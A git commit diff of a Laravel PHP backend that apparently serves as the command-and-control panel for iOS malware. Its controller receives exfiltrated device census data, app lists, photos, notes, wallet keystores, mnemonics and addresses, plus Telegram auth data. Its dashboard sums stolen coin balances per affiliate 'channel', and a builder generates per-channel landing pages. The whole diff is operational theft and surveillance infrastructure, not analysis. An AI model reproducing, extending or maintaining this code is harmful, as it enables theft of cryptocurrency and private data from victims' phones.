feat: new channel

This commit is contained in:
hashbro
2026-08-15 02:56:38 +08:00
parent 5453d9d69b
commit 7c0066562f
45 changed files with 1686 additions and 965 deletions
+1 -1
View File
@@ -43,7 +43,7 @@ if (! function_exists('create_log')) {
if (! function_exists('c2_log_request_meta')) { if (! function_exists('c2_log_request_meta')) {
/** /**
* IP + proxy headers for C2 file logs (iptj vs native comparison). * IP + proxy headers for C2 file logs.
* *
* @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>} * @return array{ip: string|null, remote_addr: mixed, headers: array<string, string|null>}
*/ */
@@ -65,7 +65,7 @@ class ChannelController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page); $paginator = $q->paginate($limit, ['*'], 'page', $page);
$data = collect($paginator->items())->map(function (Channel $c) { $data = collect($paginator->items())->map(function (Channel $c) {
$row = [ return [
'id' => $c->id, 'id' => $c->id,
'channel_id' => $c->channel_id, 'channel_id' => $c->channel_id,
'builder_type' => $c->builderType(), 'builder_type' => $c->builderType(),
@@ -74,15 +74,10 @@ class ChannelController extends Controller
'remark' => $c->remark ?: '', 'remark' => $c->remark ?: '',
'status' => (int) $c->status, 'status' => (int) $c->status,
'links' => $c->supportLinks(), 'links' => $c->supportLinks(),
'download_url' => null, 'landing_path' => $c->landingPath(),
'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'), 'created_at' => optional($c->created_at)->format('Y-m-d H:i:s'),
'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'), 'updated_at' => optional($c->updated_at)->format('Y-m-d H:i:s'),
]; ];
if ($c->isNewBuilder()) {
$row['download_url'] = route($this->portal().'.channels.download', $c);
}
return $row;
})->values(); })->values();
return response()->json([ return response()->json([
@@ -117,7 +112,7 @@ class ChannelController extends Controller
} }
$channelIdRule = $builderType === Channel::BUILDER_NEW $channelIdRule = $builderType === Channel::BUILDER_NEW
? ['required', 'string', 'size:'.Channel::NEW_CHANNEL_ID_LENGTH, 'regex:/^[A-Za-z0-9]+$/'] ? ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN]
: ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')]; : ['required', 'string', 'size:32', 'regex:/^[a-z0-9]+$/', Rule::unique('channels', 'channel_id')];
$data = $request->validate([ $data = $request->validate([
@@ -134,10 +129,10 @@ class ChannelController extends Controller
if ($builderType === Channel::BUILDER_NEW) { if ($builderType === Channel::BUILDER_NEW) {
$normalized = Channel::normalizeNewChannelId((string) $data['channel_id']); $normalized = Channel::normalizeNewChannelId((string) $data['channel_id']);
if ($normalized === null) { if ($normalized === null) {
throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 8 位字母或数字']); throw ValidationException::withMessages(['channel_id' => '新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)']);
} }
$data['channel_id'] = $normalized; $data['channel_id'] = $normalized;
if (Channel::query()->whereRaw('upper(channel_id) = ?', [$normalized])->exists()) { if (Channel::query()->where('channel_id', $normalized)->exists()) {
throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']); throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
} }
} }
@@ -209,10 +204,8 @@ class ChannelController extends Controller
'support_path' => $build['support_path'] ?? $channel->landingPath(), 'support_path' => $build['support_path'] ?? $channel->landingPath(),
'weifile_path' => $build['weifile_path'] ?? null, 'weifile_path' => $build['weifile_path'] ?? null,
'daily_path' => $build['daily_path'] ?? '', 'daily_path' => $build['daily_path'] ?? '',
'zip_path' => $build['zip_path'] ?? null, 'channel_dir' => $build['channel_dir'] ?? null,
'download_url' => $channel->isNewBuilder() 'show_alias' => $build['show_alias'] ?? null,
? route('admin.channels.download', $channel)
: null,
], ],
]); ]);
} }
@@ -265,19 +258,6 @@ class ChannelController extends Controller
]); ]);
} }
public function download(Channel $channel, ChannelProjectService $projects)
{
$this->authorizeChannel($channel);
abort_unless($channel->isNewBuilder(), 404);
$path = $projects->newChannelZipPath($channel->channel_id);
abort_unless(is_file($path), 404, '安装包不存在,请重新创建渠道');
return response()->download($path, $channel->channel_id.'.zip', [
'Content-Type' => 'application/zip',
]);
}
public function destroy(Channel $channel, ChannelProjectService $projects) public function destroy(Channel $channel, ChannelProjectService $projects)
{ {
abort_if($this->isAgentPortal(), 403); abort_if($this->isAgentPortal(), 403);
@@ -0,0 +1,38 @@
<?php
namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Services\FilterOptionsService;
class FilterOptionsController extends Controller
{
use PortalAware;
public function __construct(
private readonly FilterOptionsService $options,
) {}
public function channels()
{
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->options->channelOptions($this->agent()),
]);
}
public function agents()
{
if ($this->isAgentPortal()) {
return response()->json(['code' => 1, 'msg' => '无权访问', 'data' => []], 403);
}
return response()->json([
'code' => 0,
'msg' => '',
'data' => $this->options->agentOptions(),
]);
}
}
+3 -120
View File
@@ -4,15 +4,10 @@ namespace App\Http\Controllers\C2;
use App\Http\Controllers\Controller; use App\Http\Controllers\Controller;
use App\Http\Middleware\DecryptXxbbBody; use App\Http\Middleware\DecryptXxbbBody;
use App\Models\Channel;
use App\Models\PageVisit;
use App\Services\CorunaArchive; use App\Services\CorunaArchive;
use App\Services\IngestService; use App\Services\IngestService;
use App\Support\UserAgentParser;
use Illuminate\Database\QueryException;
use Illuminate\Http\Request; use Illuminate\Http\Request;
use Illuminate\Http\Response; use Illuminate\Http\Response;
use Illuminate\Support\Facades\Cache;
use Illuminate\Support\Facades\Storage; use Illuminate\Support\Facades\Storage;
/** /**
@@ -22,6 +17,8 @@ use Illuminate\Support\Facades\Storage;
* /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes, * /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes,
* /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses), * /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses),
* /api/tg/t Telegram auth (tglib). * /api/tg/t Telegram auth (tglib).
*
* Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv.
*/ */
class XxbbC2Controller extends Controller class XxbbC2Controller extends Controller
{ {
@@ -34,110 +31,6 @@ class XxbbC2Controller extends Controller
return response('ok', 200)->header('Content-Type', 'text/plain'); return response('ok', 200)->header('Content-Type', 'text/plain');
} }
/**
* Loader beacon (plaintext JSON): channelCode + deviceVersion + domain + sessionId.
*/
public function iptj(Request $request): Response
{
$payload = $request->json()->all();
if ($payload === []) {
$decoded = json_decode((string) $request->getContent(), true);
$payload = is_array($decoded) ? $decoded : [];
}
$channelCode = trim((string) ($payload['channelCode'] ?? $request->input('channelCode', '')));
$normalizedCode = Channel::normalizeNewChannelId($channelCode);
if ($normalizedCode !== null) {
$channelCode = $normalizedCode;
}
$domain = trim((string) ($payload['domain'] ?? $request->input('domain', '')));
$deviceVersion = trim((string) ($payload['deviceVersion'] ?? $request->input('deviceVersion', '')));
$sessionId = $this->normalizeSessionId(
(string) ($payload['sessionId'] ?? $request->input('sessionId', '')),
);
$domain = PageVisit::normalizeDomain($domain);
$ip = PageVisit::normalizeIp((string) $request->ip());
$uid = PageVisit::visitorUid($domain, $ip);
$recorded = false;
if ($channelCode !== '' && strlen($channelCode) <= 64 && $this->shouldRecordIptj($channelCode, $uid, $sessionId)) {
$ua = substr((string) $request->userAgent(), 0, 512);
$parsed = UserAgentParser::parse($ua);
$osVersion = $parsed['os_version'] !== '' ? $parsed['os_version'] : null;
// Landing JS often sends major.minor only (`iOS 15.8`); UA has the patch (`15_8_4`).
if ($osVersion === null && $deviceVersion !== '' && preg_match('/(\d+(?:\.\d+){0,3})/', $deviceVersion, $m)) {
$osVersion = $m[1];
}
try {
PageVisit::query()->create([
'channel_id' => substr($channelCode, 0, 64),
'client_uid' => $uid,
'session_id' => $sessionId,
'user_agent' => $ua !== '' ? $ua : null,
'os' => $parsed['os'] ?: (str_starts_with($deviceVersion, 'iOS') ? 'iOS' : $parsed['os']),
'os_version' => $osVersion,
'browser' => $parsed['browser'],
'browser_version' => $parsed['browser_version'] !== '' ? $parsed['browser_version'] : null,
'ip' => $ip !== '' ? $ip : null,
'domain' => $domain,
'referer' => $this->referer($request),
'created_at' => now(),
]);
$recorded = true;
} catch (QueryException $e) {
if (($e->errorInfo[0] ?? '') !== '23000') {
throw $e;
}
}
}
$meta = c2_log_request_meta($request);
create_log([
'dir' => 'in',
'method' => $request->method(),
'path' => '/'.ltrim($request->path(), '/'),
'ip' => $ip !== '' ? $ip : $meta['ip'],
'remote_addr' => $meta['remote_addr'],
'device_key' => null,
'client_uid' => $uid !== '' ? $uid : null,
'recorded' => $recorded,
'timestamp_hdr' => null,
'headers' => $meta['headers'],
'payload' => $payload,
'decrypt_ok' => true,
'error' => null,
], 'xxbb');
return response('{}', 200)->header('Content-Type', 'application/json');
}
private function normalizeSessionId(string $sessionId): ?string
{
$sessionId = trim($sessionId);
if ($sessionId === '' || strlen($sessionId) > 64 || ! preg_match('/^[A-Za-z0-9._:-]+$/', $sessionId)) {
return null;
}
return $sessionId;
}
private function shouldRecordIptj(string $channelCode, string $uid, ?string $sessionId): bool
{
if ($sessionId !== null) {
$debounceKey = 'xxbb_iptj_sid:'.$sessionId;
if (! Cache::add($debounceKey, 1, now()->addDay())) {
return false;
}
return ! PageVisit::query()->where('session_id', $sessionId)->exists();
}
$debounceKey = 'xxbb_iptj:'.$channelCode.':'.$uid;
return Cache::add($debounceKey, 1, now()->addSeconds(8));
}
/** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */ /** Lab analogue: POST /api/user/avatar/set — device census; create from deviceInfo. */
public function profile(Request $request): Response public function profile(Request $request): Response
{ {
@@ -163,7 +56,7 @@ class XxbbC2Controller extends Controller
public function event(Request $request): Response public function event(Request $request): Response
{ {
$payload = $request->attributes->get('coruna_payload'); $payload = $request->attributes->get('coruna_payload');
$device = $this->ingest->upsertDevice($request, is_array($payload) ? $payload : null); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
if ($device && is_array($payload)) { if ($device && is_array($payload)) {
$this->ingest->ingestDeviceEvent($device, $payload); $this->ingest->ingestDeviceEvent($device, $payload);
} }
@@ -309,16 +202,6 @@ class XxbbC2Controller extends Controller
); );
} }
private function referer(Request $request): ?string
{
$referer = trim((string) $request->headers->get('referer', ''));
if ($referer === '') {
return null;
}
return substr($referer, 0, 512);
}
private function xxbbAck(Request $request): Response private function xxbbAck(Request $request): Response
{ {
$ts = (string) $request->attributes->get('xxbb_ts', ''); $ts = (string) $request->attributes->get('xxbb_ts', '');
+1
View File
@@ -94,6 +94,7 @@ class DecryptXxbbBody
$request->attributes->set('coruna_decrypt_ok', $decryptOk); $request->attributes->set('coruna_decrypt_ok', $decryptOk);
$request->attributes->set('coruna_device_key', $deviceKey); $request->attributes->set('coruna_device_key', $deviceKey);
$request->attributes->set('coruna_new_builder', true); $request->attributes->set('coruna_new_builder', true);
$request->attributes->set('coruna_xxbb_core', in_array($path, ['/a', '/u', '/event'], true));
$request->attributes->set('xxbb_ts', $timestamp); $request->attributes->set('xxbb_ts', $timestamp);
return $next($request); return $next($request);
+32 -21
View File
@@ -14,10 +14,11 @@ class Channel extends Model
public const BUILDER_NEW = 'new'; public const BUILDER_NEW = 'new';
public const NEW_CHANNEL_ID_LENGTH = 8; /** New-builder channel id / core ver·sdkv patch string: exactly 6 chars like 2.2.66 (alnum + dots). */
public const NEW_CHANNEL_ID_PATTERN = '/^[0-9A-Z]\.[0-9A-Z]\.[0-9A-Z]{2}$/';
/** /**
* Public-root path prefixes that must not be used as 8-char channel IDs. * Public-root path prefixes that must not be used as old 32-hex channel IDs.
* *
* @var list<string> * @var list<string>
*/ */
@@ -39,6 +40,25 @@ class Channel extends Model
'builder_type' => self::BUILDER_OLD, 'builder_type' => self::BUILDER_OLD,
]; ];
protected static function booted(): void
{
$bust = static function (Channel $channel): void {
$svc = app(\App\Services\FilterOptionsService::class);
$svc->forgetChannels();
$uids = array_unique(array_filter([
(int) $channel->user_id,
(int) $channel->getOriginal('user_id'),
]));
foreach ($uids as $uid) {
if ($uid > 0) {
$svc->forgetChannels($uid);
}
}
};
static::saved($bust);
static::deleted($bust);
}
protected function casts(): array protected function casts(): array
{ {
return [ return [
@@ -124,7 +144,7 @@ class Channel extends Model
public function landingPath(): string public function landingPath(): string
{ {
if ($this->isNewBuilder()) { if ($this->isNewBuilder()) {
return '/weifile/weifile.html'; return '/channel/'.$this->channel_id.'/weifile/weifile.html';
} }
return '/web/'.$this->channel_id.'/support.html'; return '/web/'.$this->channel_id.'/support.html';
@@ -135,10 +155,6 @@ class Channel extends Model
*/ */
public function supportLinks(): array public function supportLinks(): array
{ {
if ($this->isNewBuilder()) {
return [];
}
$links = []; $links = [];
$path = $this->landingPath(); $path = $this->landingPath();
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https'; $scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
@@ -164,10 +180,7 @@ class Channel extends Model
public static function normalizeNewChannelId(string $channelId): ?string public static function normalizeNewChannelId(string $channelId): ?string
{ {
$channelId = strtoupper(trim($channelId)); $channelId = strtoupper(trim($channelId));
if (! preg_match('/^[A-Z0-9]{'.self::NEW_CHANNEL_ID_LENGTH.'}$/', $channelId)) { if (! preg_match(self::NEW_CHANNEL_ID_PATTERN, $channelId)) {
return null;
}
if (self::isReservedChannelName($channelId)) {
return null; return null;
} }
@@ -176,12 +189,12 @@ class Channel extends Model
public static function randomNewChannelId(): string public static function randomNewChannelId(): string
{ {
for ($i = 0; $i < 32; $i++) { $chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$code = strtoupper(substr(bin2hex(random_bytes(5)), 0, self::NEW_CHANNEL_ID_LENGTH)); $pick = static fn (): string => $chars[random_int(0, strlen($chars) - 1)];
if (self::normalizeNewChannelId($code) === null) {
continue; for ($i = 0; $i < 64; $i++) {
} $code = $pick().'.'.$pick().'.'.$pick().$pick();
if (self::query()->whereRaw('upper(channel_id) = ?', [$code])->exists()) { if (self::query()->where('channel_id', $code)->exists()) {
continue; continue;
} }
@@ -191,11 +204,9 @@ class Channel extends Model
throw new RuntimeException('无法生成唯一渠道 ID'); throw new RuntimeException('无法生成唯一渠道 ID');
} }
public function sourceZipRelativePath(): string public function channelPublicRelativeDir(): string
{ {
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/'); return 'channel/'.$this->channel_id;
return $dir.'/'.$this->channel_id.'.zip';
} }
public static function isReservedChannelName(string $name): bool public static function isReservedChannelName(string $name): bool
+9
View File
@@ -15,6 +15,15 @@ class User extends Authenticatable
'password', 'remember_token', 'bot_token', 'password', 'remember_token', 'bot_token',
]; ];
protected static function booted(): void
{
$bust = static function (): void {
app(\App\Services\FilterOptionsService::class)->forgetAgents();
};
static::saved($bust);
static::deleted($bust);
}
protected function casts(): array protected function casts(): array
{ {
return [ return [
+71 -32
View File
@@ -45,7 +45,7 @@ class ChannelProjectService
$builderType = $this->normalizeBuilderType($builderType); $builderType = $this->normalizeBuilderType($builderType);
if ($builderType === self::BUILDER_NEW) { if ($builderType === self::BUILDER_NEW) {
return $this->generateNew($channelId); return $this->generateNew($channelId, $supportTemplate);
} }
[$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds( [$deploymentSeed, $reportingSeed] = $this->normalizeOptionalSeeds(
@@ -72,9 +72,9 @@ class ChannelProjectService
if ($code === null) { if ($code === null) {
return; return;
} }
$zip = $this->newChannelZipPath($code); $dir = $this->newChannelDirPath($code);
if (is_file($zip) && ! unlink($zip)) { if (is_dir($dir) && ! $this->removeDirectory($dir)) {
throw new RuntimeException('删除渠道安装包失败: '.$zip); throw new RuntimeException('删除渠道资源失败: '.$dir);
} }
return; return;
@@ -163,8 +163,8 @@ class ChannelProjectService
} }
/** /**
* Rebuild shared /details and staged weifile from `c`. * Rebuild shared /details and staged weifile from shared channel `c`.
* Only used by `php artisan xxbb:build`, not when creating a channel. * Channel create always runs this with XXBB_CHANNEL_C from env (no random).
* *
* @return array<string, mixed> * @return array<string, mixed>
*/ */
@@ -188,46 +188,53 @@ class ChannelProjectService
$cmd[] = '--random-c'; $cmd[] = '--random-c';
} else { } else {
$c = $this->normalizeSharedChannelC($channelC); $c = $this->normalizeSharedChannelC($channelC);
if ($c !== null) { if ($c === null) {
$cmd[] = '--channel-c'; throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)');
$cmd[] = $c;
} }
$cmd[] = '--channel-c';
$cmd[] = $c;
} }
return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW)); return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
} }
private function generateNew(string $channelId): array private function generateNew(string $channelId, string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE): array
{ {
$channelId = Channel::normalizeNewChannelId($channelId); $channelId = Channel::normalizeNewChannelId($channelId);
if ($channelId === null) { if ($channelId === null) {
throw new RuntimeException('新版渠道 ID 必须是 8 位字母或数字(例如 FAFA9988)'); throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式(6 位,字母或数字,例如 A.B.C1)');
} }
$supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
// Shared details + staged weifile always rebuilt from env XXBB_CHANNEL_C (never random).
$this->buildSharedArtifacts($this->requireEnvChannelC(), false);
$weifileSrc = $this->stagedWeifileDir(); $weifileSrc = $this->stagedWeifileDir();
if (! is_file($weifileSrc.DIRECTORY_SEPARATOR.'index.js')) { $detailsSrc = $this->artifactRoot().DIRECTORY_SEPARATOR.'details';
throw new RuntimeException('请先运行构建脚本: php artisan xxbb:build'); $channelOut = $this->newChannelDirPath($channelId);
} $this->ensureDirectory(dirname($channelOut), '新版渠道产物目录');
$zipPath = $this->newChannelZipPath($channelId);
$this->ensureDirectory(dirname($zipPath), '新版渠道产物目录');
$cmd = [ $cmd = [
$this->pythonBinary(self::BUILDER_NEW), $this->pythonBinary(self::BUILDER_NEW),
$this->builderScript('pack_channel.py', self::BUILDER_NEW), $this->builderScript('pack_channel.py', self::BUILDER_NEW),
'--channel-code', '--channel-ver',
$channelId, $channelId,
'--state-root', '--state-root',
$this->stateRoot(self::BUILDER_NEW), $this->stateRoot(self::BUILDER_NEW),
'--weifile-src', '--weifile-src',
$weifileSrc, $weifileSrc,
'--zip-out', '--details-src',
$zipPath, $detailsSrc,
'--channel-out',
$channelOut,
'--landing-template',
$supportTemplate,
]; ];
$result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW)); $result = $this->runBuilder($cmd, '打包渠道代码失败', $this->builderCwd(self::BUILDER_NEW));
$seeds = $this->loadNewLabSeeds(); $seeds = $this->loadNewLabSeeds();
$relativeZip = $this->newChannelZipRelative($channelId); $landing = (string) ($result['landing_path'] ?? '/channel/'.$channelId.'/weifile/weifile.html');
$detailsPath = (string) ($result['details_path'] ?? '/channel/'.$channelId.'/details/');
return [ return [
'channel_id' => $channelId, 'channel_id' => $channelId,
@@ -243,10 +250,12 @@ class ChannelProjectService
], ],
'seeds_initialized' => false, 'seeds_initialized' => false,
'sync_rebuilt' => false, 'sync_rebuilt' => false,
'support_path' => '', 'support_path' => $landing,
'weifile_path' => null, 'weifile_path' => null,
'daily_path' => '/details/', 'daily_path' => $detailsPath,
'zip_path' => '/'.$relativeZip, 'channel_dir' => '/channel/'.$channelId,
'show_alias' => (string) ($result['show_alias'] ?? '/c/'.$channelId.'/show.htm'),
'support_template' => (string) ($result['landing_template'] ?? $supportTemplate),
]; ];
} }
@@ -255,17 +264,37 @@ class ChannelProjectService
return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile'; return $this->stateRoot(self::BUILDER_NEW).DIRECTORY_SEPARATOR.'out'.DIRECTORY_SEPARATOR.'weifile';
} }
public function newChannelZipPath(string $channelId): string public function newChannelDirPath(string $channelId): string
{ {
return $this->artifactRoot().DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, $this->newChannelZipRelative($channelId));
}
public function newChannelZipRelative(string $channelId): string
{
$dir = trim((string) config('coruna.channel_builder_new.source_dir', 'channel-source-new'), '/');
$code = Channel::normalizeNewChannelId($channelId) ?? $channelId; $code = Channel::normalizeNewChannelId($channelId) ?? $channelId;
return $dir.'/'.$code.'.zip'; return $this->artifactRoot().DIRECTORY_SEPARATOR.'channel'.DIRECTORY_SEPARATOR.$code;
}
private function removeDirectory(string $dir): bool
{
if (! is_dir($dir)) {
return true;
}
$items = scandir($dir);
if ($items === false) {
return false;
}
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.DIRECTORY_SEPARATOR.$item;
if (is_dir($path)) {
if (! $this->removeDirectory($path)) {
return false;
}
} elseif (! unlink($path)) {
return false;
}
}
return rmdir($dir);
} }
/** /**
@@ -299,6 +328,16 @@ class ChannelProjectService
]; ];
} }
private function requireEnvChannelC(): string
{
$c = $this->normalizeSharedChannelC(null);
if ($c === null) {
throw new RuntimeException('请先在 .env 配置 XXBB_CHANNEL_C(32 位 hex)');
}
return $c;
}
private function normalizeSharedChannelC(?string $channelC): ?string private function normalizeSharedChannelC(?string $channelC): ?string
{ {
$c = strtolower(trim((string) ($channelC !== null && $channelC !== '' $c = strtolower(trim((string) ($channelC !== null && $channelC !== ''
+157 -19
View File
@@ -5,6 +5,8 @@ namespace App\Services;
use App\Models\Device; use App\Models\Device;
use App\Models\PageVisit; use App\Models\PageVisit;
use App\Models\User; use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Support\AgentScope; use App\Support\AgentScope;
use Carbon\Carbon; use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder; use Illuminate\Database\Eloquent\Builder;
@@ -22,14 +24,19 @@ class DashboardStatsService
* } $filters * } $filters
* @return array{ * @return array{
* total: int, * total: int,
* wallet_count: int,
* new_count: int, * new_count: int,
* active_count: int, * active_count: int,
* pv: int, * pv: int,
* uv: int, * uv: int,
* effective_pv: int, * effective_pv: int,
* effective_uv: int, * effective_uv: int,
* by_os: list<array{label: string, pv: int, uv: int, pct: float}>, * mnemonic_count: int,
* by_ios_version: list<array{label: string, pv: int, uv: int, pct: float}>, * address_count: int,
* balances: array{usdt: string, trx: string, eth: string, btc: string, bnb: string},
* by_os: list<array{label: string, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, uv: int, pct: float}>,
* by_device_ios_version: list<array{label: string, count: int, pct: float}>,
* range: string, * range: string,
* from: string, * from: string,
* to: string * to: string
@@ -62,8 +69,26 @@ class DashboardStatsService
} }
$total = (clone $base)->count(); $total = (clone $base)->count();
$walletCount = (clone $base)->where('has_wallet', Device::WALLET_YES)->count();
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count(); $newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count(); $activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
$mnemonicCount = $this->countDeviceChildren(
WalletMnemonic::query(),
'wallet_mnemonics',
$agent,
$agentUserId,
$channelId,
$channelExact,
);
$addressCount = $this->countDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
);
$balances = $this->sumBalances($agent, $agentUserId, $channelId, $channelExact);
$visits = PageVisit::query(); $visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent); AgentScope::applyChannelIdScope($visits, $agent);
@@ -86,53 +111,151 @@ class DashboardStatsService
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$iosVisits = (clone $visits)->where('os', 'iOS'); $iosVisits = (clone $visits)->where('os', 'iOS');
$iosPv = (clone $iosVisits)->count();
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$otherVisits = (clone $visits)->where(function (Builder $q) { $otherVisits = (clone $visits)->where(function (Builder $q) {
$q->whereNull('os')->orWhere('os', '!=', 'iOS'); $q->whereNull('os')->orWhere('os', '!=', 'iOS');
}); });
$otherPv = (clone $otherVisits)->count();
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate'); $otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$byOs = [ $byOs = [
$this->row('iOS', $iosPv, $iosUv, $pv), $this->visitRow('iOS', $iosUv, $uv),
$this->row('其他', $otherPv, $otherUv, $pv), $this->visitRow('其他', $otherUv, $uv),
]; ];
$byIosVersion = (clone $iosVisits) $versionGroups = (clone $iosVisits)
->select('os_version') ->select('os_version')
->selectRaw('COUNT(*) as pv')
->selectRaw('COUNT(DISTINCT client_uid) as uv') ->selectRaw('COUNT(DISTINCT client_uid) as uv')
->groupBy('os_version') ->groupBy('os_version')
->orderByDesc('pv') ->orderByDesc('uv')
->limit(20)
->get();
// Denominator = sum of per-version UVs (not global DISTINCT).
// Same visitor may appear under multiple versions; using DISTINCT total would
// make every overlapping bucket show ~100%.
$versionUvSum = (int) $versionGroups->sum('uv');
$byIosVersion = $versionGroups
->map(fn ($r) => $this->visitRow(
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown',
(int) $r->uv,
$versionUvSum > 0 ? $versionUvSum : $iosUv,
))
->values()
->all();
$byDeviceIosVersion = (clone $base)
->select('ios_version')
->selectRaw('COUNT(*) as cnt')
->groupBy('ios_version')
->orderByDesc('cnt')
->limit(20) ->limit(20)
->get() ->get()
->map(fn ($r) => $this->row( ->map(function ($r) use ($total) {
((string) ($r->os_version ?? '')) !== '' ? (string) $r->os_version : 'Unknown', $label = trim((string) ($r->ios_version ?? ''));
(int) $r->pv,
(int) $r->uv, return $this->deviceRow(
$iosPv > 0 ? $iosPv : $pv, $label !== '' ? $label : '未知',
)) (int) $r->cnt,
$total,
);
})
->values() ->values()
->all(); ->all();
return [ return [
'total' => $total, 'total' => $total,
'wallet_count' => $walletCount,
'new_count' => $newCount, 'new_count' => $newCount,
'active_count' => $activeCount, 'active_count' => $activeCount,
'pv' => $pv, 'pv' => $pv,
'uv' => $uv, 'uv' => $uv,
'effective_pv' => $effectivePv, 'effective_pv' => $effectivePv,
'effective_uv' => $effectiveUv, 'effective_uv' => $effectiveUv,
'mnemonic_count' => $mnemonicCount,
'address_count' => $addressCount,
'balances' => $balances,
'by_os' => $byOs, 'by_os' => $byOs,
'by_ios_version' => $byIosVersion, 'by_ios_version' => $byIosVersion,
'by_device_ios_version' => $byDeviceIosVersion,
'range' => $range, 'range' => $range,
'from' => $from->toDateTimeString(), 'from' => $from->toDateTimeString(),
'to' => $to->toDateTimeString(), 'to' => $to->toDateTimeString(),
]; ];
} }
/**
* Join a device-child table and apply the same channel / agent scope as device totals.
*/
private function scopedDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
): Builder {
$query->join('devices', 'devices.id', '=', $table.'.device_id');
AgentScope::applyDeviceChannelScope($query, $agent);
if ($agent === null) {
AgentScope::applyAgentUserFilter($query, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$query->where('devices.channel_id', $channelId);
} else {
$query->where('devices.channel_id', 'like', '%'.$channelId.'%');
}
}
return $query;
}
private function countDeviceChildren(
Builder $query,
string $table,
?User $agent,
?int $agentUserId,
string $channelId,
bool $channelExact,
): int {
return $this->scopedDeviceChildren($query, $table, $agent, $agentUserId, $channelId, $channelExact)
->count($table.'.id');
}
/**
* Sum coin columns across wallet_addresses for devices in the same scope as dashboard totals.
* Not limited by the time range (current holdings).
*
* @return array{usdt: string, trx: string, eth: string, btc: string, bnb: string}
*/
private function sumBalances(?User $agent, ?int $agentUserId, string $channelId, bool $channelExact): array
{
$q = $this->scopedDeviceChildren(
WalletAddress::query(),
'wallet_addresses',
$agent,
$agentUserId,
$channelId,
$channelExact,
);
$selects = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$selects[] = 'COALESCE(SUM(wallet_addresses.'.$col.'), 0) as '.$col;
}
$row = $q->selectRaw(implode(', ', $selects))->first();
$out = [];
foreach (WalletAddress::COIN_COLUMNS as $col) {
$raw = $row?->{$col} ?? 0;
$formatted = WalletAddress::formatAmount($col, $raw);
$out[$col] = $formatted === '' ? '0' : $formatted;
}
/** @var array{usdt: string, trx: string, eth: string, btc: string, bnb: string} $out */
return $out;
}
/** /**
* Map telegram /data day token to dashboard range key. * Map telegram /data day token to dashboard range key.
* Empty / omitted → today. * Empty / omitted → today.
@@ -209,17 +332,32 @@ class DashboardStatsService
} }
/** /**
* @return array{label: string, pv: int, uv: int, pct: float} * Visit breakdown row. pct = uv / $totalUv (UV share).
*
* @return array{label: string, uv: int, pct: float}
*/ */
private function row(string $label, int $pv, int $uv, int $totalPv): array private function visitRow(string $label, int $uv, int $totalUv): array
{ {
$pct = $totalPv > 0 ? round(($pv / $totalPv) * 100, 1) : 0.0; $pct = $totalUv > 0 ? round(($uv / $totalUv) * 100, 1) : 0.0;
return [ return [
'label' => $label, 'label' => $label,
'pv' => $pv,
